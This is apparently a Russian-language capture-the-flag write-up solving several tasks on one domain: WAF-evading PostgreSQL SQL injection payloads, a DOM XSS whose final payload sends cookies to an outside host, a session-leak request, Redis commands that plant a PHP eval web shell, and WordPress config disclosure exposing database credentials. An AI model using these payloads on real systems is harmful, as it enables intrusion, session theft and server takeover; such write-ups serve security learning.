000000010101011001010100000002
011111010110010011000101111102
010001011011100011100101000102
010001010010011100001101000102
010001011110101110110101000102
011111011111110110000101111102
000000010101010101010100000002
111111110100000111101111111112
010010001010100100101101101002
001100110110011000001010001112
001110000011010010011010100112
100000101010000011110110010102
011011010010111111111101110012
101001110000001110100100101012
010101000010110100001001011102
111001100001101011010000001002
001011000110011110100110001012
101000111000001001100101011112
011010001000111010111101110112
111100101010111000111111111012
101011000110101101010000001102
111111110100000100010111011002
000000010010101010010101001012
011111010101011011100111001112
010001011011010010100000010012
010001010010110101111100101112
010001010011001101011110101102
011111011111101100011111111012
00000001011100011010010111101

Получается QR код из нулей и единиц. Преобразуем в картинку и извлекаем флаг.

qr code

af49359a251b70e24ba98f15b02cd271


Block

SQL Injection в PostgreSQL с WAF.
https://block.rosnadzorcom.ru/

Долго не мог придумать, как к ней подобраться, потому что на начальном этапе блокировалось почти все.
В итоге сделал базовый вектор, который не блокируется, с произвольными запросами с помощью XML функций и выводом информации через ошибку.

')||query_to_xml(E'$VECTOR'::text,true,true,true::text)::text::int||('1

После чего просто автоматизировал случайное замусоривание основного запроса и долбил его, пока он не сработает. Вектора, которые сработали:

sel\x65ct\ttable_n\141m'||E'e\x20f'||E'rom\r\x69n\x66orma\x74i\x6fn\x5fsc\x68em'||E'a.table\163

se\154ect\r\52 fr\157m\40us'||E'ers

Флаг md5('token:ildujf89qwj4e9832je98nm92p38jercop98j392er8j98j23p9ej8p928j3pe98jp2398je9d')


Bonus 4

https://crt.sh/?q=%25.rosnadzorcom.ru

flag-94d1d3b923974da436bcadb76e52e221.rosnadzorcom.ru


Bonus 1

bonus 1


Moderation


https://moderation.rosnadzorcom.ru/

Находим robots.txt

User-agent: *
Disallow: /admin/
Disallow: /moderator/

На странице /moderator/ идет перенаправление на страницу авторизации, но тело ответа отображается. Прогоняем обфусцированный JavaScript с помощью http://jsbeautifier.org/ и правим его руками. Я остановился на следующем варианте.

function Filter(_0x266c83) {
    return _0x266c83["replace"](/[^-0-9a-z:/.=?&]/gim, "");
}

function Checkurl(_0x265b12) {
    var _0x507390 = {
        'RjY': function _0x14519a(_0x4dd451, _0x237e63) {
            return _0x4dd451 != _0x237e63;
        },
        'doH': function _0x16c0a0(_0x55192c, _0x532c5a) {
            return _0x55192c != _0x532c5a;
        },
        'NSr': function _0x31c18a(_0x1f223d, _0x35f89c) {
            return _0x1f223d != _0x35f89c;
        }
    };
    var _0x247202 = "0|2|3|1|4|5"["split"]('|'),
        _0x41e6f8 = 0x0;
    while (!![]) {
        switch (_0x247202[_0x41e6f8++]) {
            case '0':
                if ("RjY"](_0x265b12["indexOf"]("javascript"), -0x1)) {
                    return ![];
                }
                continue;
            case '1':
                ;
                continue;
            case '2':
                ;
                continue;
            case '3':
                if (_0x507390["doH"](_0x265b12["substr"](-0x4, 0x4), ".jpg")) {
                    return ![];
                }
                continue;
            case '4':
                _0x265b12 = _0x265b12["replace"]("#", "");
                continue;
            case '5':
                if (_0x507390["doH"](_0x265b12["indexOf"]("/"), -0x1)) {
                    if (_0x507390["NSr"](_0x265b12["indexOf"]("://"), -0x1)) {
                        if (_0x507390['NSr'](_0x265b12["indexOf"]("http://"), -0x1)) {
                            return !![];
                        }
                    }
                } else {
                    return !![];
                }
                continue;
        }
        break;
    }
}

function prepareFrame() {
    var _0x2b3501 = {
        'OzM': function _0x20b853(_0x3e2412, _0xda5eaa) {
            return _0x3e2412(_0xda5eaa);
        }
    };
    var _0x586767 = "4|0|2|5|3|1"."split"('|'),
        _0x45335e = 0x0;
    while (!![]) {
        switch (_0x586767[_0x45335e++]) {
            case '0':
                if (_0x2b3501["OzM"](Checkurl, _0x1079a0)) {
                    var _0x4167de = _0x2b3501["OzM"](Filter, _0x1079a0);
                }
                continue;
            case '1':
                document["body"]["appendChild"](_0xc87369);
                continue;
            case '2':
                ;
                continue;
            case '3':
                _0xc87369["setAttribute"]("src", _0x4167de);
                continue;
            case '4':
                var _0x1079a0 = location["hash"]["replace"]("#", "");
                continue;
            case '5':
                var _0xc87369 = document[c]("iframe");
                continue;
        }
        break;
    }
}

Получаем DOM Based XSS через location.hash с большим количеством условий.

В результате у меня получился следующий вектор:
(когда я решал, то неправильно понял условие с символом /, поэтому перемудрил)

https://moderation.rosnadzorcom.ru/moderator/#java#script:window.parent.location=window.parent.name?window.parent.name:window.jpg

Для того, чтобы XSS сработала нужно также заблокировать перенаправление. Это можно сделать, добавив в GET параметры символы %0a, %0d или null-байт. Вызов функции header("Location: foo\nbar"); вернет предупреждение и код ответа останется 200.

https://moderation.rosnadzorcom.ru/moderator/?a=1%0a1

Финальный вектор для эксплуатации XSS

<form action="https://moderation.rosnadzorcom.ru/moderator/#java#script:window.parent.location=window.parent.name?window.parent.name:window.jpg" id="send">
<textarea name="a" id="x"></textarea>
</form>
<script>
window.name="javascript:location='https://blackfan.ru/?result='+document.cookie;";
document.getElementById("x").value="foo\nbar";
document.getElementById("send").submit();
</script>

Флаг в cookie flag=c0a495e8886c26afc0d541da2d19adf0


compressed.png

compressed.png

Перепечатываем, запускаем, играем в пятнашки.

01 02 03 04
05 06 07 08
09 10 11 12
13 14 15 00
Your flag is 
01030107010301150103010701030115

Chat

Вызываем ошибку
https://chat.rosnadzorcom.ru/%ff

URIError: Failed to decode param '%ff'
    at decodeURIComponent (<anonymous>)
    at decode_param (/osas/node_modules/router/lib/layer.js:171:12)
    at Layer.match (/osas/node_modules/router/lib/layer.js:147:15)
    at matchLayer (/osas/node_modules/router/index.js:604:18)
    at next (/osas/node_modules/router/index.js:235:15)
    at /osas/site/server-22165fa64369b9dabeba8eb7276712a6/init.js:51:5
    at Layer.handle [as handle_request] (/osas/node_modules/router/lib/layer.js:93:5)
    at trim_prefix (/osas/node_modules/router/index.js:335:13)
    at /osas/node_modules/router/index.js:299:7
    at Function.process_params (/osas/node_modules/router/index.js:354:12)

Получаем чтение серверного JS кода:
https://chat.rosnadzorcom.ru/server-22165fa64369b9dabeba8eb7276712a6/init.js

    import { result } from 'lodash';

    ...

    let id = encodeURIComponent(Object.keys(req.body)[0]);

    ...

    state[req.params.uuid] = {
        owner: req.cookies[sessionCookieName],
        message: {
            id,
            type: 'message',
            text: encodeURIComponent(req.body[id])
        }
    };

    ...

    export function adminReply(res, html) {
    const $ = cheerio.load(html),
        msg = $('[data-id]'),
        id = msg.data('id'),
        state = result(res, 'state'),
        orig = result(res, id).toString();

    state.reply = {
        id: 'reply',
        type: 'reply',
        orig,

Уязвимость заключается в том, что в ответ от администратора попадает любой параметр из объекта res, путь к которому мы передаем в имени POST параметра.
Оригинальный запрос:

POST /b6c5a75f-22fa-4a0d-952b-70a68fb77776 HTTP/1.1

state.message.text=asddas

Запрос для получения идентификатора сессии администратора:

POST https://chat.rosnadzorcom.ru/asdasdasdasdasd

req.cookies.sid=asddas

Используя его можно получить флаг:

https://chat.rosnadzorcom.ru/7his_c0nT3n7_is_MY_Pr1v@t3_pR0perTy!!11!

Flag is 64cbbcc515819d16115a4663251199dd

Ropi

Запросы к /.git/ блокируются.
https://ropi.rosnadzorcom.ru/.git/

Но при следующем запросе используется другой host.

GET /. HTTP/1.1
Host: ropi.rosnadzorcom.ru

HTTP/1.1 301 Moved Permanently
Location: http://vps.merron.ru/./

На котором уже можно получить исходный код из /.git/. Забираем доступ к redis.

$redis['host'] = '127.0.0.1';
$redis['port'] = 6379;
$redis['pass'] = 'a9e24afea8be7de8';

Так как у меня совсем нету опыта в эксплуатации Redis, подключаемся, ставим режим мониторинга и идем гулять с ребенком.

redis-cli -h vps.merron.ru -a a9e24afea8be7de8

> monitor

Возвращаемся через час, замечаем чьи-то попытки залить PHP шелл через Redis, добиваем их до мини-шелла.

> config set dir /var/www/uploads/
> config set dbfilename blabla.php
> set asd "<?php eval($_GET[asd]); ?>"
> bgsave

И читаем флаг

https://ropi.rosnadzorcom.ru/uploads/blabla.php?asd=readfile('/flag');

5d710ac04a2eb6af5682fd92577b3e01

Beta


http://beta.rosnadzorcom.ru/

Голый wordpress и раскрытие пути.
http://beta.rosnadzorcom.ru/wp-includes/rss-functions.php

Fatal error: Call to undefined function _deprecated_file() in /usr/share/nginx/www/wordpress/wp-includes/rss-functions.php on line 8

Пробуем обратиться к php файлам через localhost.

GET /wordpress/wp-config.php HTTP/1.1
Host: localhost

Получаем чтение исходного кода, учетную запись к базе данных и сам хост базы white2fan.rosnadzorcom.ru (нет, я не участвовал в создании таска).

/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpress');

/** MySQL database password */
define('DB_PASSWORD', 'OMGOMGWTFWTF');

/** For testing use white2fan.rosnadzorcom.ru */
define('DB_HOST', 'localhost');

white2fan.rosnadzorcom.ru резолвится в 127.0.0.1, но когда я решал, то даже не заметил этого, так как подключался с сервера, на котором был настроен IPv6.
Забираем флаг:

mysql -h white2fan.rosnadzorcom.ru -u wordpress -p

mysql> select * from flag;
Empty set (0.16 sec)

mysql> select column_name from information_schema.columns where table_name='flag';
+----------------------------------+
| column_name                      |
+----------------------------------+
| a33d6a48821d9c33f00219710eb9aeef |
+----------------------------------+
1 row in set (0.16 sec)